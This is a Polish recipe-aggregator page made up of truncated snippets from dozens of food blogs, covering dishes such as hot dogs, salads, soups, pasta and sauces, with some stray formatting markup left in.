Domowa wersja hot-dogów. Smakują zarówno na ciepło, jak i zimno. Można podać z ketchupem, sosem czosnkowym czy innym ulubionym. Składniki: 200 ml wody 25 g drożdży 1/2 łyżeczki soli łyżeczka cukru łyżka oleju 200 g mąki oregano, zioła prowansalskie 4 długie parówki Ponadto: jajko, sezam Przygotowanie Drożdże kruszymy, dodajemy po łyżeczce mąki i cukru i rozpuszczamy w 1/3 szklanki

e-PrzepisyKulinarne
Spaghetti po maltańsku 150

spaghetti to niezwykłe połączenie suszonych i świeżych pomidorów, czosnku, kaparów i oliwek. Wszystko to przyprawione nutą białego wina przypomina o wakacjach i lecie. Dodatkową zaletą jest to, że sos do tego dania można zrobić w czasie kiedy będzie się gotował makaron (i woda), a to oznacza, że efekt końcowy uzyskamy naprawdę błyskawicznie. Niestety nie udało mi się w Polsce dostać

Milion Smaków
Detoks - dzień 5 301

termoobiegu. Po 20 minutach trzeba plasterki obtrócić i piec kolejne 20 minut. Mniam :) Moje dzisiejsze menu Śniadanie: woda z cytryną sałatka (sałata rzymska, pomidor, ogórek kiszony, koperek, pietruszka sos "vinegrette", czyli woda z sokiem z cutryny i przyprawy) czipsy jabłkowe Obiad: - leczo Przekąska: - czipsy z buraka i selera :) Kolacja: - ogórko-kapuśniak (więcej już nie ma, a szkoda) - jabłko - smoothies

pyszne zdrowości
Razowy makaron z marchewką i rukolą - 666 kcal 187

Dziś megaprosty obiad. Nie ma sosu, bo jego funkcję pełni tutaj olej (którego swoją drogą nie należy się bać - nawet na redukcji). W ramach dodatków marchewka i trochę zieleniny. Niby coś z niczego, ale smakuje rewelacyjnie. To dobre danie, kiedy nie macie za wiele w lodówce, a nie chcecie się rzucać na fast-food. Ostrzegam - bardzo ostre, więc wrażliwcy powinni

Powiedz dietom nie
Sałatka ziemniaczana z pomidorami i tuńczykiem 223

porcje: 600 g młodych ziemniaków 1  czerwona cebula 300 g pomidorków koktajlowych kilkanaście czarnych oliwek 6 łyżek oliwy lub oleju rzepakowego Sól Pieprz oregano Puszka tuńczyka w sosie własnym Przygotowanie: Ziemniaki obrać i ugotować w osolonej wodzie do miękkości. Odlać wodę, odstawić ziemniaki do ostygnięcia. Wystudzone pokroić w grubą kostkę.  Pomidorki pokroić na pół lub ćwiartki (w zależności

Fabryka pomysłów
Placki z buraków i cukinii - 88 kcal 250

patelni rozgrzej część oleju, następnie smaż placki na średnim ogniu. Mogą się trochę rozwalać, ale łatwo sobie z tym poradzić. 5.Gotowe udekoruj tymiankiem, możesz polać jogurtem greckim lub domowym sosem czosnkowym. SMACZNEGO! Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size

Powiedz dietom nie
SZASZŁYKI Z ZIOŁOWYMI KOTLETAMI 189

aromatycznych szaszłyków, a poniżej przedstawiam przepis na te z ziołowymi kotlecikami. Inspirowałam się kolorową kuchnią Bliskiego Wschodu, gdzie bardzo popularne są grillowane kebaby z mięsa mielonego. Szaszłyki podałam z sosem czosnkowym: przepis . Jeżeli przygotowałaś/eś danie z tego przepisu, prosimy o jego zdjęcie :). Wyślij je na adres a.rybinska@gmail.com. Fotografię opublikujemy w komentarzach i na naszym Facebooku (oczywiście podpiszemy Twoje

Przepisy Aleksandry
Sałatka z wędzonym kurczakiem 470

Miks sałat, wędzony kurczak i sos czosnkowy, do tego ciepłe bagietki. Połączenie, któremu trudno się oprzeć. Początkowo miałam obawy, czy najem się (u mnie danie to było na obiad). Jak się okazało niepotrzebnie, bo wbrew pozorom danie to jest bardzo sycące. Sam pomysł na sałatkę z wędzonym kurczakiem pojawił się po przeczytaniu książki "Sekta" Graham'a Masterton'a . "Sidney zabrał

Passions hobbies life
Śniadanie w ogrodzie :) 188

ogrodzie. Zapewne każdy z Was ma podobne odczucia :) Polecamy szybkie i oczywiście zdrowe śniadanie do zrobienia w kilka minut. Dzisiejsze menu : jogurt naturalny 1 banan 2 morele 1/2 łyżeczki sosu miętowego domowy hummus (kilka jego wersji znajdziecie na naszym blogu) rzeżucha chleb nan Zobaczcie jak pięknie to wyglądało :)  Życzymy miłego dnia i jedzcie zdrowo codziennie. Pozdrawiamy

vegetanie
Boczek duszony 141

posmarować skórę boczku miodem i dusić pod przykryciem do miękkości (około 1,5 godziny). Boczek wyjąć, ostudzić. Podawać na zimno, ale można również na ciepło z wytworzonym podczas duszenia sosem. zastawa

królestwo garów
Dietetyczne leczo ze słodką nutą (134 kcal) 181

kolorowy bazylia łyżka oleju Przygotowanie Posiekaną cebulę podsmażamy na oleju. Następnie dodajemy obraną i pokrojoną w kostkę cukinię i paprykę. Warzywa smażymy jeszcze chwilę, następnie wlewamy passatę pomidorową i sos z ananasa i dusimy, od czasu do czasu mieszając, aż wszystkie warzywa będą miękkie. Dodajemy ananasa pokrojonego w kostkę i przyprawy. Dusimy jeszcze chwilę

e-PrzepisyKulinarne
Knedle z truskawkami 172

podczas gotowania. Gdy będą gotowe wyławiać i odcedzać za pomoca łyżki cedzakowej. Polewa/Sos 1. Połączyć wszystkie składniki dodając ilość cukru do smaku. Podawać ostygnięte, mogą być odrobinę schłodzone. Polewać sosem, dekorować szczyptą cynamonu, świezymi listkami miety i świeżymi truskawkami. Można opcjonalnie polać śmietaną i posypać białym cukrem w krysztale omijając dekorację. Smacznego :) Zobacz także

KreatywnePiny
Bazyliowo-pietruszkowe pesto z pistacjami 159

Blueberry Corner by "jagodzianka" Pesto to zielony sos ze świeżych składników, który robi się szybko, łatwo i przyjemnie, a niektóre składniki można zmieniać – … Przeczytaj cały artykuł Post Bazyliowo-pietruszkowe pesto z pistacjami pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Żeberka na coli 242

przykryciem do pieca nagrzanego do 180 stopni. Trzymamy w piecu około 90 minut. W połowie pieczenia odwracamy a na ostatnie 15 minut odkrywamy. Całość można podać z pieczonymi ziemniaczkami, sosem musztardowym i ketchupem

Lubczyk i Wanilia
Sałatka z dodatkiem siemienia lnianego 297

pieprz świeżo mielony Wykonanie: Sałatę opłukać skropić sokiem z cytryny, pomidory myjemy kroimy w ósemki dodajemy do sałaty. Jogurt, cukier, sól oraz pieprz łączymy ze sobą. Sałatę polewamy sosem po wierzchu posypując siemieniem. Delikatnie mieszamy sałatę. Smacznego

kgwjanczewo
Makaron z truskawkami 443

włożyć śmietanę. Całość wymieszać do rozpuszczenia się cukru i momentu aż śmietana nabierze różowego koloru. Makaron ugotować wg. instrukcji na opakowaniu. Odcedzić. Makaron wyłożyć na talerze i polać sosem truskawkowym

Ciasta ciastka ciasteczka Słodka chwila zapomnienia
Szpinakowa cieciorka 316

się najadłam:) Składniki: szpinakowe pesto ( tu przepis) 130 g cieciorki (waga przed ugotowaniem) Przygotowanie: Ciecierzycę namocz minimum przez 12 h. Wymień wodę i gotuj przez godzinę Podawaj z ciepłym sosem pesto Smacznego

pyszne zdrowości
Kotlety soczewicowe 272

jeszcze trochę dopieścić i pewnie wkrótce sie pojawi :) Co do kotletów - bardzo dobre :) Najlepiej smakują na świeżo. Następnego dnia sa już trochę suche, ale idealnie się nadadzą do pomidorowego sosu. Jeśli soczewica jest już ugotowana (ostatnio zawsze gotuję więcej) to kotlety robi sie szybko - to ważne dla zapracowanych ;) Składniki : 260 g (kubek) czerwonej soczewicy 4 łyżki mielonego siemienia lnianego

pyszne zdrowości
Proteinowy omlet wytrawny 217

szczypiorek umyć, cebulę obrać i pokroić w małą kostkę. Szczypiorek posiekać Wszystkie składniki przełożyć do malaksera i zmiksować Smażyć z obydwu stron na złoty kolor Podawać z sałatką lub sosem Smacznego

pyszne zdrowości
Akacjówka, nalewka na płatkach akacji 374

przyczynia się do skrócenia czasu jej pobytu w naszej spiżarni ;). Po zlaniu nalewki macerowane płatki można przechowywać w szczelnie zamkniętym słoiczku i wykorzystać je np. do ciast, deserów lub sosów. Nalewkę akacjową warto przygotować ze względu na walory smakowe i właściwości zdrowotne, o których już pisałam przy okazji serowych chmurek z akacją .       Składniki: 300 g płatków akacji

SzczyptaSmaQ
Kanapka z mozzarellą, pomidorem i oliwkami 180

placuszki z owocami i jogurtem. Czasem, na odmianę warto spróbować czegoś innego :) Składniki: 2 kromki pieczywa pełnoziarnistego 4 plastry mozzarelli krążki cebuli 2 plastry pomidora oliwki oregano oliwa lub sos vinegret Składniki układamy na pieczywie wg podanej kolejności - unikniemy przemakania kanapki. Posypujemy oregano. Podajemy od razu. Smacznego

Chocolate Muffin Blog
Zupa marchewkowa z fetą i pestkami dyni 254

NAJLEPSZA zupa krem jaką jadłam! ;) Składniki: 0,5kg marchwi 1 litr bulionu cebula 3 ząbki czosnku 1/2 łyżeczki kminu pieprz, sól 2 łyżki śmietany 18% do zup i sosów pestki dyni ser feta łyżka masła  Bulion doprowadzamy do wrzenia z kilkoma listkami laurowymi i zielem angielskim. Cebulę i czosnek kroimy na mniejsze części i podsmażamy na maśle. Jak się

Czerwona Porzeczka
Polędwiczki w ziołach - w wolnowarze 214

wymaga wielu przygotowań. Cztery godziny i obiad gotowy. Przepis nie przewiduje podlewania mięsa, ale myślę, że można dodać 1/4  - 1/3 szklanki czerwonego wytrawnego wina lub bulionu, zyskamy nieco sosu.  W oparciu o przepis z  Food.com składniki (3 - 4 porcje) ok 500 g  polędwiczki wieprzowej 3 łyżki soku z cytryny 3- 4 ząbki czosnku posiekane 1 łyżeczka

Stare Gary
WEGAŃSKIE MIEJSCA: W Gruncie Rzeczy (Warszawa) 167

Zjedliśmy tam zupę-krem z marchewki i ananasa. Doprawiona płatkami migdałów. Była bardzo dobra i sycąca. Kolejnym daniem był kotlet z soczewicy z ziemniaczkami, surówką i pietruszką w sosie sojowym (wyborna!). Również dipy robiły niezłą robotę. Dla Maugo kotlet miał troszkę za dużo kuminu, ale Paszko zjadł z uśmiechem na ustach, zresztą zupkę też wciągnął pierwszorzędnie :) Spróbowaliśmy również kuskusa

Bananowe Pole
Sałatka z serem pleśniowym i awokado 414

Srebrzysty . Na sałatę wrzucamy awokado i ser pleśniowy. Posypujemy prażonymi pistacjami i doprawiamy solą ziołową. Całość można skropić oliwą z oliwek z dodatkiem ziół lub polać  ostrym sosem pomarańczowym . Sałatkę podajemy z ulubionym pieczywem. Awokado to bardzo kaloryczny owoc. W średniej wielkości awokado jest ok. 40 g tłuszczu. To dobry tłuszcz, ponieważ zawiera kwas oleinowy, którzy obniża

My Chcemy Jeść
Świąteczna zupa chrzanowa 196

mieszamy. Przyprawiamy solą, pieprzem i majerankiem. Podajemy w głębokich talerzach lub miskach z ćwiartką jajka.  O właściwościach i składnikach odżywczych chrzanu można przeczytać w przepisie na  sos chrzanowy

My Chcemy Jeść
Razowa focaccia z czarnuszką 167

Focaccia rodzaj pieczywa pochodzący z Włoch. Przypomina pizzę, ale bez sera i sosu pomidorowego. Włosi podają ją na ciepło z oliwą i octem balsamicznym przed głównym posiłkiem. Focaccia to także doskonały dodatek do innych dań.  Składniki 250 g mąki pszennej razowej 2 łyżki oliwy z oliwek 3 łyżki ziołowej oliwy z oliwek 8 g suchych drożdży 2 łyżki czarnuszki

My Chcemy Jeść
Zapiekanka makaronowa z pieczarkami, cukinią, pomidorami i serem mozzarella 667

wiele filozofii, bo zazwyczaj głównym, najsmaczniejszym dodatkiem zapiekanek jest ser. Tym razem jednak połączyłam dwa różne smaki, które tworzą jedno danie. Jeden z nich to zdecydowany smak pieczarek w sosie śmietanowym, zaś kolejnym jest lekko słodki smak pomidora z stopioną mozzarellą. Całość tworzy ciekawe połączenie. SKŁADNIKI 2 cebule 450 g pieczarek 1 cukinia 450 g mięsa mielonego 3 łyżki masła

Passions hobbies life
Tagliatelle z tuńczykiem w pomidorach. 202

jedzenia w kilkanaście, a nawet kilka minut. Grunt to mieć dobrą bazę. Tym razem tą bazą był dla nas domowy makaron. Czego nam potrzeba? -makaron tagliatelle -puszka tuńczyka w sosie własnym, lub wodzie -pół puszki kukurydzy -cebula -puszka pomidorów krojonych -parmezan -oliwa -sól, pieprz -tymianek -muscat biały półsłodki Cebulę posiekaną szklimy na oleju, solimy i pieprzymy. Podlewamy winem (pół szklanki

BaRepas
Zapiekane ziemniaki w sosie musztardowym z jabłkami 315

umyć, pokroić w dużą kostkę. Przełożyć do garnka, zalać śmietaną, bulionem, dodać musztardę i doprawić solą i pieprzem. Powoli podgrzewać. Od momentu zagotowania trzymać na małym ogniu ok.25 minut. Sos zagęścić ( mąką lub bułką tartą – nie redukować ). Całość przełożyć do naczynia żaroodpornego. Jabłka obrać, usunąć gniazda nasienne, pokroić w grubą kostkę i skropić sokiem z cytryny. Wyłożyć na ziemniaki. Cebulę

Świat Smaku
Zielona sałata z jajkiem 356

opłukujemy, pomidory, paprykę myjemy, pomidory kroimy w ćwiartki, paprykę oczyszczoną z nasion w kosteczkę, natomiast obrane jajka w ósemki.  Majonez mieszamy z chrzanem solą i pieprzem. Polewamy sałatę sosem delikatnie mieszamy. Przepyszną sałatkę przygotowała Czesia Smacznego

kgwjanczewo
Spaghetti Caprese 222

pieprzem. Dusimy całość do czasu aż marchew będzie miękka i wszystkie składniki się połączą.  W tym czasie gotujemy makaron. Kroimy mozarellę w plastry. Układamy na talerzu makaron, sos, mozarellę, przyozdabiamy listkami bazylii. Na koniec posypujemy świeżo zmielonym kolorowym pieprzem. Bon appetit! Ze swojej strony proponuję również do tego dania dodatek w postaci piersi z kurczaka.  Pierś należy umyć

Garniec Magalie
Czekoladowa polędwiczka 252

Przed samym podaniem wkładamy je na około 2 minuty do piekarnika w celu ich podgrzania.  W garnku podsmażamy powidła śliwkowe. Dodajemy  rozmaryn . Następnie dodajemy wino i redukujemy sos o 2/3 objętości.  Następnie dodajemy napar z kawy i cynamon. Wyciągamy rozmaryn. Dodajemy pół kostki masła i gotujemy na wolnym ogniu około 10 minut.  Na końcu dodajemy czekoladę

Garniec Magalie
Kurczak słodko - wytrawny 195

międzyczasie można ugotować ryż z kurkumą (smakowo pasuje idealnie, ale też pięknie wygląda pod względem estetycznym na talerzu). Talerz udekorować świeżymi listkami selera, majeranku i tymianku. Można też powstały sos zaciągnąć śmietaną

Garniec Magalie
Focaccia z suszonymi pomidorami 212

oliwą z oliwek lub aromatycznym olejem, którym należy ją obficie skropić lub po prostu w nim umoczyć.  Jedni określają focaccia jako suchą bazę dla ciasta na pizzę (bez sosu pomidorowego i sera), ja jednak bardziej skłaniałabym się ku określeniu jej jako rodzaju chlebka.  Istnieje wiele odmian focaccia, od suchych, najczęściej z solą morską i ziołami, na którą znajdziecie

Garniec Magalie
Meringue eggs 213

proponuję rozpuścić masło i schłodzić je w lodówce.  Kolejno połączyć ze sobą pozostałe składniki, mieszając je trzepaczką w misce. Dodawać powoli schłodzone i rozpuszczone masło.  Miskę z sosem umieścić w kąpieli wodnej, nie przestając mieszać.  Krem będzie powoli gęstniał. Po 3-5 minutach krem należy wyjąć z kąpieli. Krem przelać przez sitko (będzie gładki i kremowy

Garniec Magalie
Jarmużowe love 204

pojawienie się zmarszczek. Sałatka samo zdrowie!  Składniki (dla 2,3 osób): 1/2 główki kapusty czerwonej 4-5 liści jarmużu 1/2 szklanki orzechów laskowych 1 pomarańcza 1/2 szklanki rodzynek Sos: sok wyciśnięty z 1 pomarańczy 3 łyżki oliwy z oliwek szczypta soli i pieprzu Wykonanie: Orzechy należy uprażyć na suchej patelni. Pomarańczę obrać z białych błon, z drugiej wycisnąć

Garniec Magalie
Grillowane żeberka w kiwi marynowane z cykorią i szparagami 174

lodówce. Żeberka 30 min. przed grillowaniem wyciągamy z lodówki. Żeberka zawijamy w folię aluminiową i układamy na grillu. Przez 30 min będą się piekły w marynacie i w własnym sosie, który powstał pod wpływem wysokiej temperatury. Następnie wyciągamy żeberka z foli i grillujemy na złoty kolor. W tym czasie zaczynamy grillować warzywa. Zielone szparagi nie wymagają obierania. Obcinamy tylko zdrewniałe

Moniki Smakołyki
Zapiekane ziemniaki 223

gałką muszkatołową, dodać 1/3 startego sera i przepuszczone przez praskę ząbki czosnku. Ziemniaki odsączyć dokładnie z wody, osuszyć na ręczniku papierowym i wymieszać rękoma w dużej misce razem z sosem. Formę do zabiekania wysmarować 1/3 masła, wyłożyć ziemniaki przyciskając je, położyć na wierz resztę masła w małych kawałeczkach. Piec w sumie około 1 godziny w temp. 190-200 C, pół

greenscarf
Jaglano-serowo-miętowe kluski z sosem truskawkowym 200

font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-fareast-language:EN-US;} Jaglano-serowe kluski z sosem truskawkowym.( 2 porcje) -> 200g chudego twarogu ->100g kaszy jaglanej ->Garść mięty ->Szklanka mleka -> 1-2 łyżeczki miodu -> 100g mąki pełnoziarnistej -> 3-4 łyżki

Jedz zdrowo żyj zdrowo!
Pierogi z truskawakami 194

Szklanką wykrawamy okrągłe krążki. Truskawki płuczemy , osuszamy , duże kroimy na połowę. Do każdego krążka wkładamy truskawkę, sklejamy. Gotujemy w gorącej wodzie, od momentu wypłynięcia ok 4 min. Podajemy polane sosem jogurtowym wymieszanym z cukrem do smaku lub z syropem klonowym. A przy okazji kilka zdjęć z mojego zielonego azylu SMACZNEGO Czekam na Państwa opinie i cenne rady. Jeśli zostawicie tutaj

W kuchennym oknie Ewy
Zdrowe placki z tuńczykiem i serkiem wiejskim 238

dobre dobre :) na kolacje, jak i na obiad czy śniadanie :) Składniki   (całość około 370kcal) : 2 jajka puszka tuńczyka we własnym sosie (po odsączeniu 90g) łyżeczka musztardy opakowanie serka wiejskiego light szczypiorek sól, pieprz Sposób przygotowania: Jajka miksujemy na najwyższych obrotach przez około minutę serek wiejski odsączamy od śmietanki, tak żeby zostały nam same granulki tuńczyka również odsączamy na sicie

Zdrowo i dietetycznie. Moja rzeczywistość
Gołąbki z młodej kapusty 214

bulion. Dodać przecier i chwile gotować. Zaciągnąć rozrobioną mąką i doprawić solą oraz pieprzem. Gotować jeszcze przez 2-3min. 8.Gołąbki przełożyć do innego garnka (bez wody!). Zalać sosem i gotować przez kolejne 10-15 min. Gołąbki należy gotować na jak najmniejszym ogniu w garnku przykrytym pokrywką lekko uchyloną

A Ty Smakuj Mnie
Makaron ze szpinakiem w sosie śmietanowo-serowym 357

minut. Makaron ugotować w lekko osolonej wodzie z dodatkiem oleju (ilość minut podana na opakowaniu). Gotowy odcedzić z wody. Do szpinaku dodać mięso, wymieszać. Nakładać na talerz makaron, polać sosem szpinakowym i posypać startym serem

Passions hobbies life
Papryka faszerowana kurczakiem, quinoa i groszkiem 184

Papryka faszerowana to moje ulubione danie z dzieciństwa. Dzisiaj w troszkę innej odsłonie, zdrowszej - z komosą ryżową, kurczakiem i groszkiem w sosie pomidorowym. Zapraszam. Do przygotowania 8-10 porcji potrzbujemy: - 4-5 czerwonych papryk - 5 łyżek komosy - 2 filiżanki groszku - pierś z kurczaka (ok 400g) - koncentrat pomidorowy Całość zaczynamy od przygotowania papryk - przecinamy na połówki i wycinamy gniazda nasienne. Komosę

Szybko Tanio Smacznie
Sałatka z sałatą rzymską 190

wylądowała w moim koszyku.   Wiecie, że właśnie sałata rzymska jest bogatsza w witaminy  niż inne sałaty. Jednak w smaku jest zupełnie inna.  Świetnie się komponuje z sosem majonezowo-smietanowym. Składniki: 1 sałata rzymska czerwona 2 jajka ugotowane na twardo 3 ogórki małosolne 1 cebula czerwona 2 łyżki majonezu 2 łyżki śmietany 1 ząbek czosnku sól pieprz Wykonanie

O kuchni z uczuciem
Strogonoff wersja wegańska 149

się przyrumienią. Ogórki kroimy w paseczki i dodajemy do reszty warzyw. Dodajemy koleją szklankę wody, doprawiamy do smaku, dorzucamy paseczki sojowe, mieszamy i gotujemy jeszcze jakieś 3 minuty aby sos zgęstniał. Podajemy z ryżem, kaszą lub po prostu z pieczywem. Misiek jak to Misiek, stwierdził że zajebiste było a babcia (przypomnę- 86 lat- bardzo na fleku) zapytała

greenscarf
Duszone udka kurczaka 291

udka z warzywami to nic innego jak szybkie i łatwe do wykonania danie jednogarnkowe. Ja dałam dużo wody więc moje udka się raczej ugotowały niż udusiły, ale za to sos który mi został po zredukowaniu okazał się rewelacyjnie pasować do kaszy. Do zrobienia czegoś takiego można wykorzystać w zasadzie wszystkie dostępne warzywa. Składniki: udka kurczaka cebula marchew pietruszka ziemniaki brokuły

Mama Gotuje
Surówka z młodej kapusty 267

rzodkiewki, cebulki i koperek (lub natkę) dodać do kapusty. Oliwę i sok z cytryny wymieszać razem. Dodać przeciśnięty przez praskę czosnek, doprawić solą, pieprzem, cukrem i oregano. Sałatkę polać sosem i dokładnie wymieszać. Źródło: zpierwszegotloczenia.pl linkwithin_text='Zobacz również inne przepisy:' var linkwithin_site

Świat Domowej Kuchni
Ciasto daktylowe z kremem mascarpone i orzechami w karmelu 150

torty ale raz na jakiś czas nachodzi mnie na to ochota. Tym razem wybór padł na ciasto na bazie daktyli, kakaa, z pysznym, gęstym kremem mascarpone. Zwieńczeniem całości jest sos kajmakowy i karmelizowane orzechy. Ciasto wymaga sporo pracy ale jeżeli szukacie czegoś efektownego - to dobry wybór. Przepis z kukubuka z moimi modyfikacjami

Milion Smaków
Frytki z selera 165

pomyliłam, bo od niedzieli kiedy te frytki zrobiłam pierwszy raz jedliśmy już je 3 razy i za każdym razem nam bardzo smakowały. Mężowi także. Przyprawy można zmienić wg gustu. Sosy również. Czytaj więcej

Bernika - moj kulinarny pamietnik
Wyniki konkursu urodzinowego 211

produktów od SYS Wygrywają: -Pizzerinki na brokułowym spodzie, przepis pani Marty G. -Enchilada w formie tortu, przepis pani Wiolety Sz. -Koszyczki z warzywami i sosem serowym -Bułeczki drożdżowe ślimaczki z nutellą, przepis pana Emila K. -muffinki z masłem orzechowym i bananami, przepis pani Anety K. Wszystkie osoby które wygrały proszę

Marta Gotuje
Pomidory pod pierzynką 322

pieprz Przepis: Pomidory myjemy i osuszamy. Następnie kroimy je w plastry i układamy na talerzu. W misce mieszamy przeciśnięty przez praskę ząbek czosnku, jogurt naturlarny, majonez, sól oraz pieprz. Sos nakładamy na pomidory. Całość posypujemy drobno startym żółtym serem. Tak podane pomidorki stanowią świetny dodatek do obiadu i dań z grilla

Emcia Pichci
Wiosenna sałatka z dodatkiem kwiatów szczypiorku 167

wraz ze szpinakiem przełóż do średniej wielkości miski.  W mniejszej misce przygotuj dressing: połącz ze sobą oliwę, sok z cytryny, koperek, sól i pieprz. Polej warzywa uzyskanym sosem i delikatnie zamieszaj. Na koniec ozdób sałatkę kwiatami szczypiorku.  Główkę czosnku przekrój na pół i piecz w piekarniku rozgrzanym do 180°C przez 30 minut. Uzyskasz w ten sposób pyszny

Roślinna - blog wegański
Sezamowy majonez 275

Majonez klasyczny jest pyszny, mam nawet na niego przepis tutaj na blogu --> Majonez Domowy . Chciałam jednak wprowadzić trochę innowacji i zrobiłam majonez sezamowy, można byłoby go nazwać sezamowym sosem. Ma lekko brązową barwę i pobudzający zapach prażonego sezamu. Myślę, że jeśli nie lubisz tahini to nie ma sensu go robić. Do odważnych świat należy ;) Potrzebujemy: 250 ml oleju rzepakowego

MamaOskarka
Duszony boczek w sosie grzybowym 617

Boczek jako danie obiadowe, taka wersja tego mięsa jest nietypowa, ale wiemy jak doskonale smakuje, uduszony, chudy w sosie, warto go przyrządzić, by po delektować się tym nie powtarzalnym smakiem Składniki: 0,5 kg świeżego przerośniętego boczku 1 duża cebula garść suszonych grzybów olej do smażenia po szczypcie tymianku, rozmarynu, papryki ostrej 2 szklanki wody listek laurowy sól, pieprz świeżo

kgwjanczewo
Bulgur z makaronem plus warzywa i boczniaki 196

gałązki selera naciowego 2 liście kapusty pekińskiej 1 duża marchewka 1/2 kostki dobrego bulionu warzywnego (bez tłuszczy utwardzonych) oliwa z oliwek oregano, pieprz, pasta chili, kurkuma, sos sojowy Zaczynamy od delikatnego przesmażenia makaronu tak, aby zbrązowiał. Następnie kaszę bulgur zalewamy 1 szklanką bulionu warzywnego i dodajemy makaron. Odstawiamy na ok. 20 min. W tym czasie przygotujemy resztę składników. Marchewkę kroimy

vegetanie
Grill: szparagi w mielonym mięsie 172

Tesco) Sposób przygotowania: Szparagi umyj i osusz papierowym ręcznikiem. Następnie złap z oba końce i złam. Strona z główką szparaga jest tą dobrą, zgrubiałą końcówkę wyrzuć (lub wykorzystaj do sosu lub bulionu). Mięso dopraw solą, pieprzem i łyżeczką cynamonu. Dodaj do niego pokrojoną papryczkę,cebulkę i 2 duże łyżki ketchupu z jalapeno. Całość dokładnie wymieszaj. Zrób kulkę z mięsa

Wielki apetyt
Chipsy z carpaccio w czekoladowej glazurze 179

zarumienienia. Odłożyć na ręcznik papierowy, by pozbyć się tłuszczu. Na patelnię, po smażeniu carpaccio wlać wino, dodać połamaną czekoladę, masło oraz cynamon, wymieszać i redukować do pożądanej konsystencji- czyli sos powinien być delikatnie gęsty. Papryczkę chili oraz pistacje drobno posiekać. Podsmażone carpaccio smarować z jednej strony glazurą czekoladową, posypać rozmarynem oraz chili wraz z solą morską lub sezamem i pistacjami

Kraina Miodem Płynąca
Pizzerinki na brokułowym spodzie 350

soli. Gotujemy aż zgęstnieje. Doprawiamy bazylią, oregano i ziołami prowansalskimi. Cebulę kroimy w pół-piórka, paprykę i szynkę na mniejsze części, a pieczarki w plasterki. Każdą, podpieczoną pizzerinkę smarujemy sosem pomidorowym, następnie posypujemy startym serem i układamy pieczarki, paprykę, szynkę i kukurydzę.  Temperaturę piekarnika zwiększamy do 220 stopni. Pizzerinki wkładamy do piekarnika i pieczemy około 20 minut, uważając, żeby

Czerwona Porzeczka
Prosta sałatka grecka i co ma moda wspólnego z gotowaniem 266

ogórki. Posolić i popieprzyć. Dodać posiakaną cebulkę, oliwki i fetę. Z oliwy, cytryny i oregano przygotować dressing dokładnie mieszając w proporcjach 3:2:1/2 łyżki. Polać całość przygotowanym sosem

W kuchni wieczorem
Zgrzewana ciabatta z bresaolą i serem 294

szybko a smakują świetnie. Składniki zachowują odpowiednią wilgotność i świeży smak i nie tracą zbyt wielu wartości odżywczych. Kompozycji można wymyślać bez liku. Dziś czas na klasykę włoskich kanapek: sos pomidorowy, ser i długo dojrzewająca bresaola

Milion Smaków
Grill- soczysty kurczak z warzywami. 171

minut w przyprawach z kapką oleju. Czas grillowania zależy od rodzaju grilla. Danie będzie gotowe, gdy kurczak będzie złoty a warzywa miękkie. Podawaj na gorąco z ulubionym sosem lub bez. Smacznego! Ten i inne przepisy znajdziecie na stronie http://www.wielkiapetyt.blogspot.com

Wielki apetyt
MAKARON Z PIERSIĄ KURCZAKA NA ZIELONO 192

Dokładamy pokrojonego pora i pokrojoną w plastry cukinię. Obsmażamy. Dolewamy bulion, wrzucamy makaron, podduszamy do miękkości makaronu. Po tym czasie wrzucamy posiekaną natkę pietruszki oraz wlewamy śmietanę. Mieszamy aż sos zgęstnieje. Doprawiamy

Z Majeczką w kuchni
Risotto ze szparagami 305

będzie moja obowiązkowa sezonowa pozycja co roku. Proste, lekkie i pełne smaku. Bulion warto robić co weekend i w tygodniu wykorzystywać jako bazę do dań głównych, zup i sosów. Wtedy risotto będzie gotowe w pół godziny – w tygodniu mało kto ma czas na dłuższe gotowanie. Sezon na szparagi jest bardzo krótki, dlatego warto korzystać, póki są one w dobrej

Poezja smaku
Parówki z pieczarkami i serem żółtym w cieście francuskim + film 219

Smaczna i prosta przekąska na śniadanie, kolację lub domową imprezę czyli parówki z pieczarkami i serem żółtym w cieście francuskim. Danie doskonale smakuje podane na ciepło z ulubionym sosem lub keczupem. składniki na 12 sztuk 2 opakowania gotowego ciasta francuskiego 6 cienkich parówek 20 dag pieczarek 2 małe cebule 150 g sera żółtego 1 białko 3 łyżki masła czarny pieprz

Smakowite Dania
Domowe paluszki rybne czyli Srodowe Rybki odc.57 254

końcu obtaczamy płatkami. Kawałki ryby układamy na blasze. Całość pieczemy ok 12 minut by stały się chrupiące ale ryba nie przesuszyła się. Do tych paluszków idealnie pasuje sos tzatziki i świeży pomidor z oliwą

Dzieje kuchennej Wiewióry
Wegeburgery z plackami z fety cukini i marchewki 225

łyżek mąki (ja użyłam owsianej, ale może być dowolna) - 5 łyżek fety rozgniecionej widelcem ja użyłam arla apetina feta - 1/2 łyżeczki proszku do pieczenia  - szczypta ostrej papryki  - sos sojowy, pieprz - kilka posiekanych listków bazylii  Do burgerów  - 2 bułki pełnoziarniste - kilka listków sałaty - pomidor - 2 plasterki sera żółtego - pół awokado  Przygotowanie:  Wymieszać wszystkie składniki

zdrowa vege kuchnia
Grillowana cukinia z twarożkiem, papryką i ziołami 194

pozostałe przyprawy. Jeśli cukinia będzie gotowa to przekładamy ją na talerz i nakładamy twarożek z papryką i ziołami, a następnie nakładamy krążek cukinii. Ewentualnie możemy podawać z ulubionymi sosami lub sałatkami. Smacznego

Truskawkowa Fiesta
Kaczka z dżemem morelowym, podana z musem jabłkowym 154

Wykonanie: Kaczkę umyć, osuszyć i natrzeć solą, pieprzem i startą jedną cebulą. Z zewnątrz posmarować dżemem, ułożyć w brytfannie i piec w temperaturze 180 stopni 45 minut, polewając wytworzonym sosem. Odwrócić na drugą stronę i dopiec następne 45 minut. Marchewkę i jabłka obrać, drobno pokroić i ugotować z małej ilości wody do miękkości. Następnie zmiksować razem z jedną cebulą, czosnkiem

Tradycyjna Kuchnia
Pulpety z wątróbki i parówek 193

wątróbkę- wszystko razem zmielić w maszynce, następnie wymieszać z resztą składników, przyprawić do smaku i formować okrągłe pulpety. Gotować 5 minut w osolonej wodzie i podawać z dowolnym sosem do obiadu

Tradycyjna Kuchnia
Puree grzybowe do słoików na zimę 171

